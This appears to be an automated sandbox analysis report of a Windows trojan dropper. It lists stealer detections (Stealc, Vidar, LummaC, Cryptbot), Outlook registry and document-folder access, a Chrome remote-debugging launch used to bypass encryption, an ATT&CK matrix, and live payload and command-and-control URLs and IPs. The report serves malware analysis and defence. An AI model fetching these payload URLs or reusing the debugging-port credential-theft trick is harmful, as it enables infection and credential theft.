Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1008303001\lll.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1008303001\lll.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1008303001\lll.exe	Directory queried: C:\Users\user\Documents\DUUDTUBZFW
Source: C:\Users\user\AppData\Local\Temp\1008303001\lll.exe	Directory queried: C:\Users\user\Documents\DUUDTUBZFW
Source: C:\Users\user\AppData\Local\Temp\1008303001\lll.exe	Directory queried: C:\Users\user\Documents\GLTYDMDUST
Source: C:\Users\user\AppData\Local\Temp\1008303001\lll.exe	Directory queried: C:\Users\user\Documents\GLTYDMDUST
Source: C:\Users\user\AppData\Local\Temp\1008303001\lll.exe	Directory queried: C:\Users\user\Documents\NVWZAPQSQL
Source: C:\Users\user\AppData\Local\Temp\1008303001\lll.exe	Directory queried: C:\Users\user\Documents\NVWZAPQSQL
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	Directory queried: C:\Users\user\Documents\EEGWXUHVUG
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	Directory queried: C:\Users\user\Documents\EEGWXUHVUG
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	Directory queried: C:\Users\user\Documents\EOWRVPQCCS
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	Directory queried: C:\Users\user\Documents\EOWRVPQCCS
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	Directory queried: C:\Users\user\Documents\DUUDTUBZFW
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	Directory queried: C:\Users\user\Documents\DUUDTUBZFW
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	Directory queried: C:\Users\user\Documents\NVWZAPQSQL
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	Directory queried: C:\Users\user\Documents\NVWZAPQSQL
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	Directory queried: C:\Users\user\Documents\TQDFJHPUIU
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	Directory queried: C:\Users\user\Documents\TQDFJHPUIU
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	Directory queried: C:\Users\user\Documents\EEGWXUHVUG
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	Directory queried: C:\Users\user\Documents\EEGWXUHVUG

Source: Yara match	File source: 0000001D.00000003.3100359782.00000000011B1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000020.00000003.3256935500.0000000001630000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000020.00000002.3308221521.0000000001628000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000020.00000003.3225665897.0000000001632000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000003.3156881759.00000000011B3000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000003.3101454354.00000000011B1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000003.3094239861.0000000000FCE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000003.3017177770.0000000000FCE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000003.3179756932.00000000011B3000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000003.3070076867.0000000000FB9000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000003.3195731341.00000000011B4000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000003.3042893343.0000000000FCA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000003.3125768013.00000000011B1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000003.3017725584.0000000000FD0000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000003.3014750576.0000000000FD2000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000003.3069247948.0000000000FB9000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000003.3155016868.00000000011B3000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000003.3100441873.0000000000FD4000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000003.3126118900.00000000011B1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000020.00000003.3223457600.0000000001630000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2537867494.000000000040C000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000003.3153596138.00000000011B3000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 6460, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: lll.exe PID: 8580, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 954f709e67.exe PID: 9136, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 954f709e67.exe PID: 6728, type: MEMORYSTR

Remote Access Functionality

Attempt to bypass Chrome Application-Bound Encryption

Source: C:\Users\user\Desktop\file.exe

Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"

Yara detected Credential Flusher

Source: Yara match

File source: Process Memory Space: 15a477ae94.exe PID: 360, type: MEMORYSTR

Yara detected Cryptbot

Source: Yara match

File source: dump.pcap, type: PCAP

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: lll.exe PID: 8580, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 954f709e67.exe PID: 9136, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: Process Memory Space: 954f709e67.exe PID: 6728, type: MEMORYSTR

Yara detected Stealc

Source: Yara match	File source: 0000001F.00000003.3141631293.0000000004C60000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2537867494.0000000000341000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000030.00000002.3294866790.0000000000021000.00000040.00000001.01000000.00000012.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2540983254.00000000011DE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2035418521.0000000004E50000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000030.00000002.3308546587.0000000000DFB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000002.3192874994.0000000000EFE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000030.00000003.3269947580.00000000049C0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000002.3185387404.0000000000021000.00000040.00000001.01000000.00000012.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 6460, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 97aac85e85.exe PID: 4564, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 97aac85e85.exe PID: 8388, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 6460, type: MEMORYSTR

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6C0C40 sqlite3_bind_zeroblob,	0_2_6C6C0C40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6C0D60 sqlite3_bind_parameter_name,	0_2_6C6C0D60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5E8EA0 sqlite3_clear_bindings,	0_2_6C5E8EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6C0B40 sqlite3_bind_value,sqlite3_bind_int64,sqlite3_bind_double,sqlite3_bind_zeroblob,	0_2_6C6C0B40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5E6410 bind,WSAGetLastError,	0_2_6C5E6410
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5EC050 sqlite3_bind_parameter_index,strlen,strncmp,strncmp,	0_2_6C5EC050
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5E6070 PR_Listen,	0_2_6C5E6070
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5EC030 sqlite3_bind_parameter_count,	0_2_6C5EC030
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5E60B0 listen,WSAGetLastError,	0_2_6C5E60B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5722D0 sqlite3_bind_blob,	0_2_6C5722D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5E63C0 PR_Bind,	0_2_6C5E63C0

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	21 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	11 Disable or Modify Tools	2 OS Credential Dumping	1 System Time Discovery	Remote Services	11 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	1 Scheduled Task/Job	1 Extra Window Memory Injection	11 Deobfuscate/Decode Files or Information	LSASS Memory	12 File and Directory Discovery	Remote Desktop Protocol	41 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Scheduled Task/Job	111 Registry Run Keys / Startup Folder	12 Process Injection	3 Obfuscated Files or Information	Security Account Manager	249 System Information Discovery	SMB/Windows Admin Shares	1 Email Collection	1 Remote Access Software	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 PowerShell	Login Hook	1 Scheduled Task/Job	12 Software Packing	NTDS	1 Query Registry	Distributed Component Object Model	Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	111 Registry Run Keys / Startup Folder	1 DLL Side-Loading	LSA Secrets	871 Security Software Discovery	SSH	Keylogging	114 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Extra Window Memory Injection	Cached Domain Credentials	2 Process Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	121 Masquerading	DCSync	341 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	341 Virtualization/Sandbox Evasion	Proc Filesystem	1 Remote System Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	12 Process Injection	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	50%	ReversingLabs	Win32.Trojan.Generic
file.exe	52%	Virustotal		Browse
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	50%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe	50%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[2].exe	39%	ReversingLabs	Win32.Trojan.Symmi
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\vcruntime140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\random[1].exe	42%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\random[2].exe	26%	ReversingLabs	Win32.Trojan.AutoitInject
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\lll[1].exe	45%	ReversingLabs	Win32.Trojan.Symmi
C:\Users\user\AppData\Local\Temp\1008294001\f979933b17.exe	42%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Temp\1008303001\lll.exe	45%	ReversingLabs	Win32.Trojan.Symmi
C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	39%	ReversingLabs	Win32.Trojan.Symmi
C:\Users\user\AppData\Local\Temp\1008305001\97aac85e85.exe	50%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Temp\1008306001\15a477ae94.exe	26%	ReversingLabs	Win32.Trojan.AutoitInject
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	50%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\DocumentsIDHCGDAFBK.exe	50%	ReversingLabs	Win32.Trojan.Generic

Source	Detection	Scanner	Label	Link
http://31.41.244.11/files/lll.exe	100%	Avira URL Cloud	malware
https://property-imper.sbs/apisL	0%	Avira URL Cloud	safe
https://property-imper.sbs/%	0%	Avira URL Cloud	safe
http://185.215.113.16/off/random.exen	0%	Avira URL Cloud	safe
https://property-imper.sbs/#	0%	Avira URL Cloud	safe
https://property-imper.sbs/apis$	0%	Avira URL Cloud	safe
http://185.215.113.206/68b591d6548ec281/msvcp140.dll~	100%	Avira URL Cloud	malware
http://185.215.113.16/off/random.exen	18%	Virustotal		Browse
https://property-imper.sbs:443/api	0%	Avira URL Cloud	safe
http://185.215.113.16/off/random.exeY	0%	Avira URL Cloud	safe
http://31.41.244.11/files/lll.exe	18%	Virustotal		Browse
https://property-imper.sbs/apiTC	0%	Avira URL Cloud	safe
https://property-imper.sbs/api1s	0%	Avira URL Cloud	safe
http://185.215.113.206/68b591d6548ec281/msvcp140.dllO	100%	Avira URL Cloud	malware
https://property-imper.sbs/u	0%	Avira URL Cloud	safe
https://property-imper.sbs/s	0%	Avira URL Cloud	safe
https://property-imper.sbs/m	0%	Avira URL Cloud	safe
http://185.215.113.16/steam/random.exei	0%	Avira URL Cloud	safe
https://property-imper.sbs:443/api4	0%	Avira URL Cloud	safe
https://property-imper.sbs/lfons	0%	Avira URL Cloud	safe
https://property-imper.sbs/C	0%	Avira URL Cloud	safe
http://185.215.113.16/steam/random.exeJ	0%	Avira URL Cloud	safe
https://property-imper.sbs:443/apiK	0%	Avira URL Cloud	safe
https://screenshots.firefox.com/internal:privateBrowsingAllowedshims/mochitest-shim-2.jsshims/mochit	0%	Avira URL Cloud	safe
http://185.215.113.206/c4becf79229cb002.phppa	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
chrome.cloudflare-dns.com	162.159.61.3	true	false	high
prod.classify-client.prod.webservices.mozgcp.net	35.190.72.216	true	false	high
prod.balrog.prod.cloudops.mozgcp.net	35.244.181.201	true	false	high
home.fvtekk5pn.top	34.116.198.130	true	false	high
prod.detectportal.prod.cloudops.mozgcp.net	34.107.221.82	true	false	high
plus.l.google.com	172.217.17.78	true	false	high
property-imper.sbs	104.21.33.116	true	false	high
ssl.bingadsedgeextension-prod-europe.azurewebsites.net	94.245.104.56	true	false	high
prod.remote-settings.prod.webservices.mozgcp.net	34.149.100.209	true	false	high
fvtekk5pn.top	34.116.198.130	true	false	high
contile.services.mozilla.com	34.117.188.166	true	false	high
youtube.com	142.250.181.78	true	false	high
prod.content-signature-chains.prod.webservices.mozgcp.net	34.160.144.191	true	false	high
sb.scorecardresearch.com	18.165.220.110	true	false	high
prod.ads.prod.webservices.mozgcp.net	34.117.188.166	true	false	high
push.services.mozilla.com	34.107.243.93	true	false	high
www.google.com	172.217.21.36	true	false	high
telemetry-incoming.r53-2.services.mozilla.com	34.120.208.123	true	false	high
c.msn.com	unknown	unknown	false	high
spocs.getpocket.com	unknown	unknown	false	high
ntp.msn.com	unknown	unknown	false	high
content-signature-2.cdn.mozilla.net	unknown	unknown	false	high
firefox.settings.services.mozilla.com	unknown	unknown	false	high
assets.msn.com	unknown	unknown	false	high
detectportal.firefox.com	unknown	unknown	false	high
bzib.nelreports.net	unknown	unknown	false	high
shavar.services.mozilla.com	unknown	unknown	false	high
apis.google.com	unknown	unknown	false	high
api.msn.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
http://185.215.113.206/	false	high
http://185.215.113.206/68b591d6548ec281/nss3.dll	false	high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732320878018&w=0&anoncknm=app_anon&NoResponseBody=true	false	high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732320878877&w=0&anoncknm=app_anon&NoResponseBody=true	false	high
http://home.fvtekk5pn.top/LCXOUUtXgrKhKDLYSbzW1732019347	false	high
https://property-imper.sbs/api	false	high
https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://play.google.com/store/apps/details?id=org.mozilla.firefox.vpn&referrer=utm_source%3Dfirefox-	firefox.exe, 0000002F.00000002.3335926963.00000214EE9B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000031.00000002.3306242899.000001FAD5540000.00000002.10000000.00040000.00000000.sdmp	false		high
https://mail.google.com/mail/?extsrc=mailto&url=%sAttempted	firefox.exe, 0000002F.00000002.3636031088.00000214F937E000.00000004.00000800.00020000.00000000.sdmp	false		high
https://services.addons.mozilla.org/api/v5/addons/browser-mappings/?browser=%BROWSER%	firefox.exe, 0000002F.00000002.3335926963.00000214EE9B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000031.00000002.3306242899.000001FAD5540000.00000002.10000000.00040000.00000000.sdmp	false		high
https://poczta.interia.pl/mh/?mailto=%sdeclarativeNetRequestWithHostAccess	firefox.exe, 0000002F.00000002.3636031088.00000214F937E000.00000004.00000800.00020000.00000000.sdmp	false		high
https://firefox.settings.services.allizom.org/v1/buckets/main/collections/search-config/records	firefox.exe, 0000002F.00000002.3636031088.00000214F937E000.00000004.00000800.00020000.00000000.sdmp	false		high
https://merino.services.mozilla.com/api/v1/suggest	firefox.exe, 0000002F.00000002.3636031088.00000214F937E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.3676037798.00000214FE517000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000031.00000002.3308034876.000001FAD5772000.00000004.00000800.00020000.00000000.sdmp	false		high
https://property-imper.sbs/apisL	954f709e67.exe, 0000001D.00000002.3306723851.0000000001147000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://spocs.getpocket.com/spocs	firefox.exe, 0000002F.00000002.3638696976.00000214FA2B8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.3654722934.00000214FCCB2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.3636031088.00000214F93E3000.00000004.00000800.00020000.00000000.sdmp	false		high
https://screenshots.firefox.com	firefox.exe, 0000002F.00000002.3327733092.00000214ED003000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ads.stickyadstv.com/firefox-etp	firefox.exe, 0000002F.00000002.3676037798.00000214FE503000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.3676557143.00000214FE613000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.3636031088.00000214F9303000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.3672212756.00000214FE3EB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.3672212756.00000214FE384000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.3676037798.00000214FE5A1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.16/off/random.exen	skotes.exe, 00000019.00000002.3308321428.0000000000F78000.00000004.00000020.00020000.00000000.sdmp	false	18%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://property-imper.sbs/%	954f709e67.exe, 00000020.00000003.3223615276.000000000162A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://property-imper.sbs/#	lll.exe, 0000001C.00000003.3043159991.0000000000FB9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://versioncheck-bg.addons.mozilla.org/update/VersionCheck.php?reqVersion=%REQ_VERSION%&id=%ITEM	firefox.exe, 0000002F.00000002.3335926963.00000214EE9B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000031.00000002.3306242899.000001FAD5540000.00000002.10000000.00040000.00000000.sdmp	false		high
https://www.amazon.com/exec/obidos/external-search/	firefox.exe, 0000002F.00000002.3636031088.00000214F937E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.3676037798.00000214FE517000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000003.3274062051.00000214FD400000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.3683262386.00000214FEE00000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002F.00000002.3676037798.00000214FE58C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://profiler.firefox.com/	firefox.exe, 0000002F.00000002.3654722934.00000214FCC7F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/mozilla-services/screenshots	firefox.exe, 0000002F.00000003.3274859243.00000214FD61E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.3636031088.00000214F937E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.3676037798.00000214FE517000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000003.3274062051.00000214FD400000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.3683262386.00000214FEE00000.00000002.08000000.00040000.00000000.sdmp	false		high
http://31.41.244.11/files/lll.exe	skotes.exe, 00000019.00000002.3308321428.0000000000F78000.00000004.00000020.00020000.00000000.sdmp	false	18%, Virustotal, Browse Avira URL Cloud: malware	unknown
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/switching-devices?utm_source=panel-def	firefox.exe, 0000002F.00000002.3636031088.00000214F937E000.00000004.00000800.00020000.00000000.sdmp	false		high
https://tracking-protection-issues.herokuapp.com/new	firefox.exe, 0000002F.00000002.3335926963.00000214EE9B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000031.00000002.3306242899.000001FAD5540000.00000002.10000000.00040000.00000000.sdmp	false		high
https://property-imper.sbs/apis$	954f709e67.exe, 00000020.00000002.3308221521.00000000015FC000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.206lfons	file.exe, 00000000.00000002.2537867494.00000000003F5000.00000040.00000001.01000000.00000003.sdmp	false		high
http://185.215.113.206/68b591d6548ec281/msvcp140.dll~	file.exe, 00000000.00000002.2540983254.0000000001239000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://property-imper.sbs:443/api	lll.exe, 0000001C.00000003.3014750576.0000000000FD2000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/fingerprinters-report	firefox.exe, 0000002F.00000002.3335926963.00000214EE9B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000031.00000002.3306242899.000001FAD5540000.00000002.10000000.00040000.00000000.sdmp	false		high
http://exslt.org/common	firefox.exe, 0000002F.00000002.3426610436.00000214F8826000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ok.ru/	firefox.exe, 0000002F.00000002.3636031088.00000214F93E3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.3666246301.00000214FD864000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.16/off/random.exeY	skotes.exe, 00000019.00000002.3308321428.0000000000F78000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://hg.mozilla.org/releases/mozilla-release/rev/68e4c357d26c5a1f075a1ec0c696d4fe684ed881P5	firefox.exe, 0000002F.00000002.3327733092.00000214ED011000.00000004.00000800.00020000.00000000.sdmp	false		high
https://addons.mozilla.org/%LOCALE%/%APP%/blocked-addon/%addonID%/%addonVersion%/	firefox.exe, 0000002F.00000002.3335926963.00000214EE9B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000031.00000002.3306242899.000001FAD5540000.00000002.10000000.00040000.00000000.sdmp	false		high
http://exslt.org/dates-and-times	firefox.exe, 0000002F.00000002.3426610436.00000214F8861000.00000004.00000800.00020000.00000000.sdmp	false		high
https://mail.google.com/mail/?extsrc=mailto&url=%sbrowser.download.viewableInternally.enabledTypesht	firefox.exe, 0000002F.00000002.3636031088.00000214F937E000.00000004.00000800.00020000.00000000.sdmp	false		high
http://win.mail.ru/cgi-bin/sentmsg?mailto=%s	firefox.exe, 0000002F.00000002.3636031088.00000214F937E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.3652843936.00000214FCB32000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.ecosia.org/newtab/	file.exe, 00000000.00000002.2540983254.0000000001272000.00000004.00000020.00020000.00000000.sdmp, lll.exe, 0000001C.00000003.3017068510.000000000584D000.00000004.00000800.00020000.00000000.sdmp, lll.exe, 0000001C.00000003.3017213954.000000000584A000.00000004.00000800.00020000.00000000.sdmp, 954f709e67.exe, 0000001D.00000003.3101070378.0000000005AF9000.00000004.00000800.00020000.00000000.sdmp, 954f709e67.exe, 0000001D.00000003.3101704998.0000000005AF6000.00000004.00000800.00020000.00000000.sdmp, 954f709e67.exe, 00000020.00000003.3223872522.0000000005D79000.00000004.00000800.00020000.00000000.sdmp, 954f709e67.exe, 00000020.00000003.3224355494.0000000005D76000.00000004.00000800.00020000.00000000.sdmp, AEGHJKJK.0.dr	false		high
